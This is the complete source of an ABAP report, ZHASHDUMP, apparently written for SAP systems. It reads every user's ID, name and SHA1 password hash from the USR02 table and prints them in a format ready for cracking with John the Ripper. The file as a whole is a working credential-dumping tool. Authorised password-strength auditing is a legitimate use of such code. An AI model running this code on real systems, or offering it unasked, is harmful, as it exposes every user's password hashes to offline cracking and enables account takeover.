*&---------------------------------------------------------------------*
*& Report  ZHASHDUMP    -  Matt Bartlett     - www.mattbartlett.co.uk
*& Extracts SAP Password Hashes in the Correct Format for John the Ripper
*&---------------------------------------------------------------------*
*& www.mattbartlett.co.uk/sap-password-cracking-with-john-the-ripper/
*& 
*&---------------------------------------------------------------------*

REPORT  ZHASHDUMP.

TYPES:  BEGIN OF  type_users,
        name      TYPE TEXT80,
        userid    TYPE TEXT40,
        hash      TYPE PWD_SHA1,
END OF            type_users.

DATA ls_users     TYPE type_users.
DATA lt_users     TYPE STANDARD TABLE OF type_users.

  select
  v_usr_name~name_text
  usr02~bname
  usr02~passcode
  from usr02
  left join v_usr_name on v_usr_name~bname = usr02~bname
  into table lt_users.

LOOP AT lt_users INTO ls_users.
  WRITE: / ls_users-userid(12),'-',ls_users-name,':' NO-GAP,ls_users-userid NO-GAP,'$' NO-GAP,ls_users-hash.
ENDLOOP.